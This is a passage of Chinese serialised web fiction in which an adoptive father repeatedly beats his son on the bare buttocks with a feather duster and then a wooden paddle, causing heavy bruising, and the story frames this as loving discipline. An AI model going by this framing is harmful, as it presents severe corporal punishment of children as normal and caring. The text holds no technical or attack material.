尤嘉楠一愣，不知想说什么的，到底没有说出口。他委屈心酸了一路，期待着爸爸会给自己道个歉或者哄两句，可是爸爸竟然问他至于吗，怎么不至于呢？飞机上这么多人，他都要上初一了，爸爸一点情面也不留，他多丢脸啊？尤嘉楠想着想着就微微红了眼眶，就连山田心慢慢滑了下去也没察觉，只想着爸爸从前如何疼爱自己，受了半点委屈都是不行的，可现在，他是跟爸爸姓了，可爸爸也没有那么爱自己了。 尤朗看见他拉着嘴角，眼角也微微向下耷着，眼尾一抹绯红，像是精心化了妆的女孩子，又像是强忍着不敢哭的胆小孩子。 “你也这么大了，不要动不动就哭，有什么话你就跟爸爸说。” “我说了啊！”哭腔重得压过了吐字，以至于尤朗有些听不清，只是那委屈的模样，让尤朗一下就想到几年前。 要是换个时候，尤朗兴许还有心思哄他几句，只是这会真的太累了，他只想回到床上好好睡一觉，面对孩子，也只得敷衍道：“行了，别闹了，上去睡一觉，把时差倒一倒，晚上爸爸带你去吃好吃的。” 真是要哭了，尤嘉楠感觉到鼻腔湿润，吸了吸鼻子，倔强道：“我没有闹！” 这强硬的语气一下就把尤朗弄烦了，他伸手在干净的玻璃茶几上一拍：“你非要逼我打你是吗？！” 尤嘉楠浑身震了一下，就连右眼那颗呼之欲出的眼泪都卡在了眼眶上，不敢往下流。两秒过后，尤嘉楠的肩膀不受控制地起伏着，那颗眼泪也恐惧地滑落到了并不算锋利的下颌线边缘，给这张向来讨人喜欢的小脸添了两分招人心疼的可怜。 这会真要打他，尤朗也没力气，只是仍旧烦得很，便瞪了他一眼，兀自上楼去了。 尤朗在卧室一觉醒来已是傍晚，睁眼便瞧见暖黄的夕阳光从窗帘的缝隙中透进来，差点忘了今夕何夕。等他模模糊糊地想明白这是在家里，才起身去浴室洗澡。“哗啦啦”的水声里，他终于想起睡前发生了什么。 “楠楠？”尤朗穿着睡衣，顶着一头半湿的头发下楼找小孩，可是卧室、游戏厅、客厅、餐厅和厨房都没有小孩的踪影，尤朗才觉出一点不对劲来。 尤嘉楠从来不会一声不吭就离开家，他们这别墅区物业管理很严格，不会随便有人进来拐走小孩。尤朗在楼下看了一圈，又绕上二楼，找到山田心，问：“你爸呢？” 山田心顿时感到自己承担起了改天换地的重任，两眼一睁，亮闪闪的，四腿一撒，一溜烟跑楼下去了，对着门口吠个不停，吠了一会儿，生怕爷爷不知道似的，扭头看了一下，接着吠，好像在说，你看啊，就是这，爸爸就是从这里出去的！ “好了，知道了，别吵了！”尤朗把狗赶回楼上，掏出手机来给小孩打电话。尤嘉楠没有手机，但是他的智能手表可以接电话。 可是这电话“嘟”了两声之后，就被挂断了，连着死死堵住了尤朗那一肚子气。尤朗“嘭”地把手机一砸，手机立时委委屈屈地陷入了柔软的沙发里。 现在可以确定了，这小家伙就是自己跑出去的，怎么？被说了两句就闹脾气？还玩离家出走这一套，幼不幼稚？这要是把他逮回来，不把屁股打开花，他还不把这个家放在眼里了！尤朗气归气，可也担心，小孩几乎不会一个人出门，出门几乎都是司机接送，要么就是自己和章信亲自带着，很少独自在外，这万一路上遇到拐卖小孩的，骗钱的，这孩子也没点辨别能力……连电话也不接，也不知道什么情况…… 尤朗突然想起来，小孩的手表和运动鞋都是有定位的，便立刻查了。可这一查，又把尤朗笑出声来了，这小孩就呆在之前那栋小别墅里呢！ 尤朗哭笑不得，说他脾气大吧，也确实大，不吱一声就走了，可走也走不彻底，从一个房子到另一个房子，这能叫离家出走么？尤朗不多想，赶紧上楼换了衣服，开车出去了。 两栋别墅分属不同的区，还都比较偏远，尤朗开车大半个小时才到，可远远看着，这个老家一点光亮都没人，不像别人家，都开了灯，在黑夜里破开一处亮堂的所在。 怎么回事？难不成小孩预知到自己会来，所以关了灯假装不在？尤朗来不及多想，迅速下车进屋，结果找了一圈，发现没人。 尤朗气得胸膛起伏，接着查小孩的定位，发现他居然又到了一个地铁站附近的肯德基 。尤朗一巴掌拍在方向盘上，砸得手掌生疼。 等会把这小孩抓回家，说什么也得狠狠收拾他一顿！尤朗踩下油门，一打方向盘，朝着那家麦当劳去了。 却说尤嘉楠中午一气之下从家里出来，想着再也不理爸爸了，反正他也不爱自己，根本不会关心自己的感受，他不如一走了之，以后爱怎么样就怎么样。只可惜，尤嘉楠一点离家出走的经验都没有，出了小区门口就茫茫然的，看着外头马路上来来往往的车流，晕头转向。 尤嘉楠伸手招了一辆出租车，回了上一个家。尤嘉楠气鼓鼓的，既是气爸爸，也是气自己，怎么就这么没出息呢？离家出走竟然只能回前一个家，什么玩意儿？ 结果在小别墅里呆到傍晚，饿得不行，尤嘉楠只好又打了个车去肯德基。逢着暑假，肯德基里的热闹是从早到晚一天不停，小孩子们吵吵嚷嚷着要吃这个吃那个，大人呵斥一两句，小孩便哭闹起来，大抵世间小家庭的套路都是如此。 肯德基里有一个小朋友在过生日，员工把那个角落布置得五颜六色的，一群小朋友们穿着花花绿绿的衣服又唱又跳，开心得不得了。尤嘉楠端着盘，瞥了一眼便默默寻个靠窗的座位坐了。 汉堡，薯条，可乐，尤嘉楠看着平时他最喜欢的东西，竟然一点胃口都没有，无精打采地撕开番茄酱的袋子，往盘上一挤，捻了根软趴趴的薯条，沾上酱，塞进嘴里。唉，果然没有味道！这都什么玩意儿！以后再也不吃了，难吃死了！ 正在他把难以下咽的汉堡往嘴里塞的时候，余光忽然瞥到一个熟悉的身影，他不由自主打了一个寒噤，嘴里一小块肉直接吞了进去，差点没把他噎死。 尤嘉楠就这样被尤朗像提小鸡似的提回了家。 尤嘉楠是被爸爸丢进屋子里的，他敢肯定，从下车到进屋，他的脚尖根本没碰到地面。可进了屋，脚踩上地板了，心里却更不踏实了。 “爸爸……”两个字，声音颤了好几下。 尤朗根本不看他，径直走向墙角，一把抓下挂在墙上的鸡毛掸子，随后沉默着走向小孩，半句话也不交代，也不管小孩什么状态，将小孩裤子一扒，对准了屁股就是狠狠一掸子。 “啊！爸爸！”尤嘉楠被这突如其来的疼痛给吓坏了，鸡毛掸子结结实实地抽在屁股上肉最厚的地方，可是那疼痛却穿过层层皮肉，一直扎到骨头里。 尤朗能不知道疼吗？可他就是要让小孩疼！疼得他一辈子都不敢乱跑才好！尤朗越想越气，扬起鸡毛掸子，接二连三地落在小孩屁股上，边打边骂：“我让你乱跑！你跑啊！我看你能跑去哪里？！说你两句就不高兴，非得我动手是不是？你想挨打还不容易？我今晚就如了你的意！打烂你这个屁股！看你还往哪里跑？！” “啊爸爸！疼！好疼！不要打我！呜呜呜……”掸子带来的疼痛太尖锐了，这十来下就像是把屁股抽裂了一样，尤嘉楠细皮嫩肉的，扛不住疼，没一会就哭起来，身子更是拼命扭动着，想要躲开这狠辣的打人利器，可无论他如何挣扎，鸡毛掸子总能抽中他屁股上最疼的那个地方，激得他眼泪直流。 “你现在知道疼了？会说不要打了？”尤朗手上力气不减，纵然小孩屁股上已是一片凌乱的红痕，可他满腔怒火还没发泄出来呢，“你自己说，哪回不是这样？犯错的时候勇往直前舍我其谁，挨打的时候痛心疾首追悔莫及，什么好处都让你占了，你倒是想得美！” “啊！”尤嘉楠一声惨叫直接盖过了身后的掸子着肉声，“爸爸我错了，我知道错了，我再也不敢了，求求爸爸不要打了！啊！！” 尤朗也没数打了多少下，只是感觉到手累了，才松开了他。尤嘉楠一被放开，立刻退开两步，仰起哭得稀里哗啦的小脸看着爸爸，眼泪鼻涕都还挂在脸颊上，可怜兮兮的。 但尤朗可没这么轻易放过他，掸子一指沙发：“过去趴着，我今天说到做到，非把你这屁股打烂不可！” 过去这么久，尤嘉楠对鸡毛掸子的阴影早已经消失一空，唯有对挨打的恐惧还常历常新，一听爸爸这话，下意识就伸手捂住了屁股那两团热乎乎的肉，坚决地摇头。 “知道怕是吧？你跑出去的时候在想什么？那时候不知道会挨打？我看你这个屁股就是欠揍，一段时间不打就得给我惹事！还学着离家出走呢？有本事别回老家去啊！你爱去哪里就去哪里！走走走！”尤朗说着，还作势真要把他往门口赶，吓得孩子“哇”一声哭了出来：“不要！爸爸不要赶我！” 尤嘉楠这一哭是个杀招，尤朗最是受不了，恨不得立马丢了鸡毛掸子把孩子抱在怀里哄一哄，但是又想到孩子这么大了，总像小时候一样惯着怎么成？又是个男孩子，以后要自己独当一面的。 “不要我赶你就自己过去趴着！你自己选，我不逼你！” 话是这么说，可尤嘉楠哪里有得选？还不是只能乖乖挨打？小孩抽噎着，一边流眼泪一边提着裤子，歪着朝沙发走去了。 新家搬进来不久，尤嘉楠还没有在这里挨过打呢！新沙发有一股陌生的味道，尽管在这里散了一段时间，可尤嘉楠这么一趴，鼻子都要贴到沙发上了，什么味道闻不到？ 但是这会，那点灵敏的嗅觉一下就被即将挨打的恐惧盖了过去。他刚刚挨了好多下，屁股都发烫了，可爸爸还要打，还说要把屁股打烂……想到这，尤嘉楠十分委屈，又“呜呜呜”地哭了起来。 尤朗被他哭得心烦意乱，在身后轻轻瞪了他一眼，也不多说，鸡毛掸子举到半空，蓄足了力就往小孩屁股上抽，果不其然，“啪”一声之后就是尤嘉楠挟着哭腔的一声“啊”，撕心裂肺的，跟受酷刑似的。 “你尽管哭，尽管喊，但你别指望着你哭两声我就不打了，今天该打多少就打多少，疼也给我好好受着！” “呜呜呜……”尤嘉楠两手平放在眼前沙发上，什么也抓不住，连借力都没个支点，一想到自己今晚可能会被爸爸打死，不禁悲从中来，哭得更加哀怨了。 他还哭着呢，身后的鸡毛掸子就无情地落了下来，每一下都打得他脊背一颤，疼痛跟电流似的，一 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尤嘉楠可不知这身后是何光景，只觉得是要疼死了，眼泪源源不断地从眼眶流出，脸颊、沙发、手背都是湿乎乎一团，狼狈不堪。 尤朗忍着把孩子抱起来的冲动丢了鸡毛掸子，沉声道：“吃到教训没有？” “呜呜呜……”尤嘉楠才不管什么教训不教训，刚开始挨打的委屈放大了十倍百倍，“呜呜呜坏爸爸！就会打我！你打死我好了！” “你！”尤朗被他这么一气，差点就要再补他几巴掌，但今晚的教训确实够重了，不应该再罚，便也不同他计较，只是嘴上训斥，“难道你觉得自己没错？觉得自己不该挨打？” 尤嘉楠转了转脖子，把脸朝向沙发靠背，难过得直掉眼泪。有错没错重要吗？该不该打重要吗？只要爸爸这时候抱一抱他哄一哄他，他就觉得什么都不要紧，可是为什么这时候爸爸还要说这么重的话？ 尤朗好一会儿没听见小孩说话，只看见小孩哭得发抖的肩膀和脊背，实在舍不下，这才弯腰拍了拍孩子的后背，放柔了声音：“楠楠……” 尤嘉楠一顿，温热的眼泪却更加汹涌了。大人们常说，小孩子摔倒，不要扶他，让他自己站起来，一扶他就会哭的。尤嘉楠现在就是那个被扶了的小孩，尤朗不这样喊他还好，一喊，他就根本受不了，心酸得五脏六腑都难受起来。 他们是没有血缘关系的父子，但是心就早被连在了一起，小孩难过，尤朗也有点后悔下手太重，安慰似的顺了顺孩子的脊背：“好了，楠楠，起来吧。” “呜呜咳咳咳……”尤嘉楠趴久了，气不顺，哭着哭着就被口水呛到了，咳得止不住，面红耳赤的。 尤朗一听这咳嗽声，当即就顾不上什么教训了，两手伸到孩子腋下，猛地用力把孩子提了起来，抱到自己怀里，一边拍背顺其一边哄：“楠楠快别哭了，等会咳得气上不来，要难受的，啊？” 咳嗽是止不住的事，尤嘉楠咳得震天响，差点背过气去。咳了好几分钟吧，被咳嗽压下去的委屈又涌了上来，随之而来的还有眼眶里那一包眼泪和淌到人中的鼻涕。 尤朗被他这个脏兮兮的模样逗笑了，又怕鼻涕流进嘴里，赶紧抽了纸巾给他擦干净：“不哭了，小脸都给哭花了，不帅了。” 尤嘉楠被哄了两句，心里的委屈早去了七八分，只是哭泣的惯性很大，他一时也止不下来，边抽噎边说：“好疼，你还要赶我走，你在飞机上骂我，回来还要打我，你打我好凶，我要疼死了呜呜呜……”说着说着哭得更厉害了。 “楠楠，爸爸中午太累了，心情不好，那些话都是胡说的，不作数，楠楠不要当真了。”尤朗继续给他擦眼泪鼻涕，“你不说一声就跑出去了，爸爸多担心你，你还不接爸爸电话，要不是有定位，你让爸爸上哪里找你？你成心躲着爸爸是不是？” “谁叫你这么凶？都怪你都怪你！”尤嘉楠的小拳头泄愤一般在爸爸肩膀上捶了两下，挠痒痒似的。 “好好好，都怪爸爸，爸爸太凶了。但是楠楠是不是也错了？” 尤嘉楠吸了一下鼻子，想认错，但心里不舒坦，便争道：“那也是你错得多！” “好，爸爸错得多，楠楠不哭了，你哭得爸爸心疼。”尤朗抓着小孩的手放在自己左边胸膛，“就是这里，你一哭，爸爸这里很难受。” 尤嘉楠透过朦胧的泪眼看着爸爸，突然间想到一个问题，妈妈为什么不喜欢爸爸？爸爸明明是世界上最好的人，为什么会有人不喜欢爸爸？ 尤朗看小孩呆呆的，料想他是出神了，亲亲他的鬓角，抱着他上楼去了：“爸爸给楠楠上点药，睡一觉醒来就不疼了。” “骗人。” 声音太小了，尤朗一时没听清：“你说什么？” “我说你骗人，你每次都说睡一觉就不疼了，但是明天起来肯定还疼，你打人太凶了，怪不得没有人喜欢你！”尤嘉楠没意识到，他已经解决了方才那个困惑他的问题。 “那楠楠呢？楠楠喜不喜欢爸爸？” 尤嘉楠扭过了头去。 尤朗打开孩子的房间门，将孩子放在床上，让他平趴着，从柜子里拿了药过来，边捣鼓边说：“好，楠楠不喜欢爸爸，爸爸没人喜欢。” 尤嘉楠趴着，并不说话，一边赌气一边任由爸爸给自己上药。屁股伤得重，上药也不是什么痛快事，尤嘉楠哼哼唧唧的，时不时叫痛，只是没有哭。 “好了，还疼不疼？”尤朗放好药，洗了手，凑到孩子眼前问。 尤嘉楠点点头，泪眼汪汪的，娇嗔道：“如果你现在抱抱我，我可以不计前嫌，喜欢你一点点。” 尤朗心里笑翻了天，还不计前嫌，真是学会个词就乱用。不过他对这种胡说八道很是受用，当即把孩子抱了起来，小心地避开臀上的伤，拍背哄他。 “以后不准乱跑了，爸爸不见你，心里很担心，怕你被拐跑了。” “我那么聪明，才不会被拐跑。” “我看你笨得很，不然怎么老是挨打？” “那还不是因为你？老是打我。” “你以后听话些，爸爸就不打你了。你之前还说呢，说以后会超级听话，动不动就发脾气，一声不吭人就不见了，这就是超级听话？” 尤嘉楠被说得满脸通红，羞的，两手乱挥：“不许说了！你再说我不喜欢你了！” 尤朗乐坏了，笑道：“好，不说了，不然没人喜欢我了。” 56. 番外八 六月的夏夜，城市华灯初上，车水马龙，双腿修长的男生垂头看着前面领先一步的两个伙伴的脚后跟，突然停下来，抬手碰碰鼻子，咳了一声。 前面两个男生回过头来，孟承云双手插在裤兜里，大咧咧问：“就咱仨，你咳什么咳？有话就说！” 尤嘉楠迈开大长腿，上前一步，站在他俩中间，表情很是骄矜，眼神却瞟来瞟去：“我身上，没有味道了吧？” 两个同伴立刻像狗一样围着他上上下下地闻，最后孟承云一抖鼻子：“没有。” 尤嘉楠抿着唇点点头；“那我回家了。” 孟承云伸手招了一辆出租车，司机打了个转向灯，缓缓停在路边。尤嘉楠在闷热的晚风中冲两个伙伴点点头，随后转身上了车。 出租车进不去别墅区，尤嘉楠在小区门口付了钱，徒步进去。小区里每隔一段距离就有一盏路灯，再加上各家各户透出来的灯光，回家毫无障碍，尤嘉楠却磨磨蹭蹭的，远远见了家里灯火通明，又微微焦躁起来。 周围没有人，尤嘉楠抬起手臂放在鼻子下闻了闻，似乎是没有味道，又好像有，哎呀，闻不出来。正烦躁着，忽然想起今天吃饭时候颜丹琳放了一支香水在他包里，他忘记还回去了！ 不管，用了再说！ 尤嘉楠从包里翻出那支香水，也不管是什么味道，对着脖子胸口处用力喷了几下，浓郁的香味立刻在暖黄的路灯光下飘散开来。 太浓了，得散一散。尤嘉楠的手在脖子处扇了几下，恰逢一阵晚风吹过，凉丝丝的，要是不用担心回家被爸爸发现，这个晚上简直太舒服了。 尤嘉楠前几天高考结束，这些天到处聚会吃饭。今晚尤嘉楠请高中几年玩得好的同学吃饭，为了尽兴，点的都是大家爱吃的，也基本是爸爸禁止的菜。 重油重辣，爆炒油炸。 不健康，太不健康了。 但是吃都吃了，也不能吐出来，只要不被发现就好了。在外头吹了这么久，又喷了香水，应该没什么问题吧？香水？有女同学嘛，沾了点香水气味很正常。 尤嘉楠窃喜，慢慢溜达到了家门口，推门进去，轻声喊：“爸？” “汪！”山田心正在楼梯处转悠，看着他吠了一声。 不在家？那更好了，等会把衣服洗了，山田心都闻不出他去过哪里吃了什么。尤嘉楠差点为自己的幸运笑出了声，刚要上楼，却瞥见茶几上放着东西，脚步一顿，鬼使神差地走过去了。 这个茶几是玻璃面的，平时除了一盘新鲜水果，什么也不放，干干净净，因而一放东西在上头就格外显眼，也格外引人注意。 是一张小票。尤嘉楠弯腰细看，麻辣小龙虾、油炸蒜香排骨、剁椒鱼头……不是，这菜怎么这么熟悉？这是他今晚吃的东西！ 尤嘉楠手一紧，把小票攥进了手心，小票怎么会在这里？谁送过来的？赶紧丢了，不然爸爸看到了！不，不对，会不会，就是爸爸放在这里，故意给我看的？他知道了？那……那我这算不算毁灭证据啊？ 尤嘉楠低下头，看着手上弄皱了的小票，呼吸节奏都变了，赶紧拿出来铺平，最好弄得跟刚才一模一样，什么都没发生过。 赶紧，赶紧…… “楠楠？” 尤嘉楠膝盖一软，“砰”一声跪坐在地，却不敢回头。这，这他妈在家啊？尤嘉楠心拔凉拔凉的，勉强整理好表情才回头，只见爸爸站在十来阶楼梯上，穿着短袖睡衣，一手搭着楼梯扶手，一手垂在身侧，手里握着一块带手柄的木板子。 一看到那块木板子，尤嘉楠什么表情都没了，连呼吸也粗重起来。那块板子比他的戒尺稍短些，但盖住两边屁股绝对不成问题，况且它还有两倍戒尺宽两倍戒尺厚。被这板子打一下，屁股一定会开花！他们家怎么会有这种东西？ 尤嘉楠将目光从那块板子上移开，假装什么都没看到，扯出一个假笑：“爸您在啊？”边说边撑着沙发，拖着发软的双腿站起来，想着等会就一下冲上楼去，兴许还能逃过一劫获得一线生机，“天气还挺热，我，我先上楼洗澡。” 尤嘉楠自欺欺人地往楼梯冲，满脑子都是跑过去跑过去，跑过去就赢了！可是上了十来阶，刚到爸爸站的那一阶跟前，小臂就被爸爸抓住了。 啧，功亏一篑！ 尤嘉楠还想着要瞒过去，可笑肌还没工作呢，尤朗鹰隼般的目光就直直射了过来，盯得他心里发虚手心发汗脚下发软。 一句话也没有，尤嘉楠不敢说，尤朗没有说，倒是山田心趁着满屋子的沉寂“汪”了几声。山田心一“汪”完，尤嘉楠就放弃抵抗一般闭上了眼，随后垂头丧气地转身下了楼。 尤朗跟在他身后，一步一步踱下楼，看着孩子自觉将内外两层裤子褪到膝弯，然后伏在沙发扶手处，整个人形成了一个大钝角，只有白皙的屁股耸起。 “倒是乖觉。” 尤嘉楠头朝下，因为充血和巨大的羞耻感迅速涨红了脸，闷声道：“我知道错了，能不能不用这个打？”他一手攀着沙发边缘，只是瞟到那块板子，就怕得发抖。 尤朗将板子横放在他的臀上，用行动回答了他的问题：“想，自己错在哪里。” 尤嘉楠两腿轻轻抖起来，这块板子太重了。以往爸爸羞他时也干过这种事，把戒尺放在屁股上，可是戒尺轻飘飘的，他只能感觉到皮肤接触到了外物，可这板子一放下来，是真的有下压感。 山田心见了爸爸这个奇怪姿势，立刻摇着头过来了，这里看看那里闻闻，又长又软的毛发触得尤嘉楠痒痒的。 “山田心，走开。”尤嘉楠难为情地叫了一声，让山田心看自己挨打，什么脸都丢光了，“爸爸，山田心……” “山田心什么？我告诉山田心什么不能干，它会听，你呢？你还不如山田心！” 比起尤朗生气骂人，这两句话的语气并不重，却让尤嘉楠脸红得像熟透的草莓。 “我知道错了，我不该乱吃东西，不爱惜自己的身体。” 尤朗不着急打他，两手抱在胸前，问：“这件事之前罚过你没有？” “罚、罚过了。”喉头发紧，说话不顺溜了。 “那就是明知故犯。” “对不起，我不该，不该明知故犯。”尤嘉楠不知怎么的想起今天在餐厅包厢里吃饭的场景，大家笑闹得起劲，只有他一个人稳稳当当地坐着，淡淡地笑着，连话也很少，大家打趣他高冷，不爱理人。他想，要是同学们知道他回到家要这样撅着屁股挨打，还会不会觉得他高冷。 “还有呢？” 还有什么？尤嘉楠人聪明，脸皮却很薄，尤其长大以后，一害羞就不能思考，这种时候脑子完全离线，根本回答不了爸爸的问题。 “一身香水味，还想丢了小票，怎么？觉得自己很聪明？” 天哪！怎么会全被看穿了？他明明、明明……尤嘉楠绝望地闭上眼，道：“我不应该试图隐瞒。” “先罚你后面两条，一条十下。”尤朗伸手拿起了板子，尤嘉楠顿时吓得浑身都紧了起来。可是他的紧张并不能阻挡板子的下落，倒是在那一声“啪”到来的同时感受到了加倍的疼痛，尤嘉楠瞬间扭曲了五官，“啊”一声叫了出来。 那种疼痛太陌生了，不像打在皮肉上，倒像是打在筋上，疼在肉里，又没达到骨头处。 果然，这效果对得起它那模样，尤嘉楠在混沌的疼痛中想起那块板子的样子，如是想到。 “啪！”第二下紧接着来临，疼痛像傍晚的潮水，生猛地冲上后脑，让尤嘉楠顿时就忘记了板子的模样，只是蹬腿企图分散痛感。 “啪！”尤嘉楠继续呼喊和蹬腿扭动，尤朗不为所动，尽管看到孩子臀上细嫩白皙的皮肉已一层一层红肿起来，却还是每一下都扎扎实实地落下，让板子完全照顾到两瓣臀肉，不留一丝缝隙。 “啪！” “啊！疼！”别说腿了，尤嘉楠攀着沙发边缘的手也紧紧抓住了这稻草般能够借力的东西，干净的手背上青筋暴起，昭示着主人极度的痛苦。 “啪！”板子仍在下落，一旁的山田心可能是不知道爸爸和爷爷在干什么，慢悠悠地又溜达过来了，盯着爸爸低垂的头露出的发旋，有点不知所措。 “啪！” “啊呜……爸爸，疼啊，爸爸轻点！啊！！”尤嘉楠这一声染上了些鼻音，许是疼的，许是头倒着塞住了，听着凄厉，山田心似是不忍，跟着吠了一声：“汪！” “啪！” “啊！” “汪！” 山田心仿佛形成了条件反射，之后每落一下板子便是尤嘉楠的呼痛声，紧接着是山田心茫然不知所措的吠声，三种声音循环往复，细听之下甚至有某种奇妙的韵律感。 过了一会，尤嘉楠察觉到山田心在观察他挨打，颇为别扭，闷着头喊：“不要，不要叫了山田心，啊！！疼、疼死了！” “汪！” 尤嘉楠死死咬着下唇，冷汗在脸上盘旋一阵便滴落在沙发上。为着不让山田心叫，他只好这般忍耐，幸亏如他所愿，山田心终于不再积极参与了。 二十板子过后，尤嘉楠原本挺翘的小屁股肿胀得厉害，如同放多了酵母发出来的面团，却又不是白花花的，而是深红透紫。要是过一晚上，明早再看，就该是发青了。 尤嘉楠松开下唇，大口大口地呼着气，拼命地缓解疼痛，可气呼多了，嘴便干起来。天气热，屋里整日整夜地开着空调，本来就干燥不已，这内外夹击的，尤嘉楠觉得自己要脱水了。 幸而尤朗还记得自己是爸爸，放下板子便去给孩子倒水了：“起来，把水喝了。” 又一颗冷汗滴在沙发上，尤嘉楠缓缓松开了掐着沙发边缘的手，五指一张，缓缓撑着自己抬头直腰。这一抬起来，尤朗才看见孩子冷汗涟涟脸色苍白，嘴唇一点血色都没有，想来真是疼极了。他暗暗心疼，却不表现，只是扶着孩子，分几次把半杯水喂给他。 尤嘉楠恢复了一点生机，但一同被他感觉到的还有身后如同开裂的剧烈疼痛。他扶着腰，不敢碰屁股，只是勉强站着，可怜兮兮地看着爸爸：“好疼……” “没有用，趴回去。” 爸爸太平静了，脸上没有一点表情，双眸里的情绪更是深不见底。尤嘉楠第一次觉得家里的灯光太亮了，把爸爸的每一道皱纹都照得清清楚楚。他在任何一道细纹里都读不出心疼两个字。 尤嘉楠放弃了，转身慢腾腾地趴好，每一个动作都牵扯着身后的伤，疼得他发晕。 “还有一条，乱吃东西，不爱惜身体，你觉得这一条要罚多少？” 这个屁股还能罚多少？不罚都要疼死了！尤嘉楠心里委屈又生气，委屈到了极点反而不想表现出来，只机器人一般回答：“十下。” “是吗？我看你是记不住自己说过的话。” 什么意思？尤嘉楠还在疑惑，却没听见爸爸解释，于是稍稍偏头，看见爸爸从口袋里掏出手机，按了几下之后放在茶几上。 “啊！！爸爸，不要打，我 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但是尤朗也不至于用这板子打他五十，考虑了工具的差别之后，道：“没有藤条皮带，还是用板子打，只打二十，给你折五十，忍着！”说罢，将板子举到半空，五六分力地拍下，厚实的木板砸在肿胀不堪的臀肉上，将臀肉一压，孩子便“啊”一下哭出了声。 “汪汪汪！”山田心又叫了起来，它听见爸爸的哭声了，这么多年，他对这声音太熟悉了，爸爸一定是太难过了，于是它边吠边走到爷爷身边，要把爷爷挤开。 “走开！”尤朗面色不善地看着山田心。山田心本想给爸爸撑一下场子，可几秒过后还是败下阵来，怯怯地走到沙发后面去了。 “呜呜呜……”太疼了，尤嘉楠泪流不止，忽然想起电视剧里杖毙的情节，听说就是用厚重的板子将人活活打死，他觉得自己也快要被打死了，爸爸为什么这么狠心？ 还哭着呢，尤朗道：“爸爸知道疼，但你也知道爸爸为什么打你，你长大了，爸爸不会再像小时候一样哄你，你做错了爸爸就罚你，没有什么好说的。” 呜呜呜爸爸为什么能说出这么冷漠的话？他长大了，可还是一样爱爸爸啊！为什么爸爸要说这种话？尤嘉楠受了皮肉之苦，还要受剜心之痛，一时之间哭得脑袋发懵，胸闷气短。 “啪！”身后的板子没有感情地落下，打在一片紫红的屁股上，也打在尤嘉楠脆弱的心上，血淋淋的。 “啪！”打得太重了，尽管尤嘉楠一直哭，山田心也偶尔吠几声，但板子着肉声还是全然盖住了这片嘈杂，一枝独秀地回响在别墅里，有些骇人。 “啪！”随着板子的下落，那两瓣肉的紫红下浮出了星星点点的血痧，散布在整个臀上，仿佛每个血点都在准备着迸发，让这孩子破皮流血。 尤朗始终保持着一样的速度和力度，无论孩子哭得多惨，屁股肿得有多厉害，待得最后一下，他像是要让孩子牢牢记住教训一般，抬起板子，用了七八分力，猛地拍下！ “啊！！”尤嘉楠被这最后一板子打得眼冒金星，几欲昏厥，惨叫根本不受控制，被身体里的气一撞，直直冲出房屋，闪电一般划进黑夜里。 尤嘉楠喊完这一声就脱力了，双手双脚都像没了骨头一样，只靠一层皮连在一起，倒在沙发上不成样子。 尤朗放下板子，抽了几张纸巾来给孩子擦汗。忍了这四十板子，别说脸了，就连发根都被浸湿了。虽说是要教训的，但做爸爸的不能不心疼，尤朗边给小孩擦汗边温声细语地跟他说话，让他清醒：“楠楠？楠楠别睡，还没有上药，爸爸抱你上去上药。”温柔得像另一个人。 “好疼……”尤嘉楠没力气了，闭着眼睛不想睁开，屁股上的伤像是扩散到了身体各处，总觉得哪哪都疼。 尤朗看了一眼孩子的伤，裤子是穿不上去了，干脆帮孩子全然脱了裤子，一揽一提，抱着光屁股的小孩上楼去了。 尤嘉楠被放在自己的床上趴着，屁股顶在后面，惨兮兮的等着爸爸来清洁和敷药。尤朗用毛巾冷敷了几次，可发烧的屁股温度始终退不下去。他有些担心，看看脸蛋红扑扑的小孩，伸手过去摸了下他的额头。 还好，没有发烧。 “爸爸……”小孩哼哼唧唧地睁开了眼睛。 “爸爸在，”尤朗拿开盖在臀上的毛巾，拿了云南白药过来，“给你喷一点药。” 凉丝丝的，尤嘉楠先是被刺激得一抖，随后便感觉到舒服了，尤其是爸爸的大手轻轻地揉按着，把他那一肚子委屈都给按没了。 虽然说，这双大手打人的时候真的很疼。 按了两三分钟，确保药均匀地敷到了每一处伤以后，尤朗就放开孩子了。可尤嘉楠却不依不饶起来：“给我揉揉。” “不行，”尤朗用纸巾擦了手，“以后同一个错，你犯第二次就不给你揉伤，这也是你的惩罚。” 尤嘉楠盯着爸爸，眼神里快要烧出火，愤怒之下，将自己垫的一个枕头扔了出去。尤朗眉头轻轻一皱：“你又发什么疯？” 尤嘉楠恶狠狠道：“我现在是第一次乱扔东西了，你快打我吧！打了就揉！” 尤朗憋不住，笑出了声，这小天才的脑回路跟普通人还真是不一样。他嘴角含着笑意，高高扬起巴掌，“啪”地落在小孩重伤的屁股上，疼得小孩脖颈一仰，倒吸一口长长的凉气。 可那只大手就这样留在了小孩屁股上，轻轻地揉起来，尤嘉楠总算满意了，乖乖地趴好了。 心满意足之时，尤嘉楠听见爸爸一声宠溺的警告：“下不为例。” 57. 番外九 快要过年了，家里堆满了大红大紫的年货箱子。自从元旦过后，朋友和生意上的伙伴就陆陆续续给尤朗送了年货来，阿姨每天都要重新整理一遍，感到非常苦恼。然而邱嘉楠很高兴，从前和妈妈一起住的时候从来没见过这种年货，后来到尤朗这里，虽然见了，却也怯怯的，什么都不敢碰。现在他是这个房子的小主人了，这些东西都是他的，一放寒假就每天坐在地上和山田心一起拆年货盒子，看里面都有什么。 “巧克力，爸爸，这个巧克力我可以吃吗？”邱嘉楠举着一盒包装精美的巧克力问。 尤朗正在一旁看文件，头也不回：“可以，你想吃什么都行。” 邱嘉楠“咔啦咔啦”拆了盒子，捻出一块圆圆的巧克力，咬了一口，苦得他赶紧吐了，看着趴在一旁的山田心，坏心一起，把剩下的半块喂给了它。 幸而狗儿子十分谨慎，先是嗅了嗅，又瞧了几眼，最后扭开了头，不吃。 邱嘉楠打了一下狗儿子的头，骂道：“这是肉，笨蛋儿子！” 狗儿子不理他，冲着一个年货箱子吠了两声，示意拆这个。邱嘉楠翻身把那个箱子拖过来：“这个好沉，是什么啊？进口的？” 山田心伸头过来，看爸爸拆了箱子，里头是整整齐齐的两排罐装饮料。邱嘉楠拿起一罐，看见上面的葡萄图案，心想应该是果汁，便光脚溜达到爸爸跟前：“爸爸，给我开。” 十一岁的男孩子，易拉罐有什么不能开的？尤朗看着小孩亮晶晶的眼睛，知道他在找借口，也不戳破，只是伸出手指一抠一拉，帮他打开了饮料。邱嘉楠笑了，左脸现出一个浅浅的酒窝，二话不说爬上了爸爸的膝头：“爸爸和我拆年货。” “爸爸还有一点工作，等会就来好不好？” 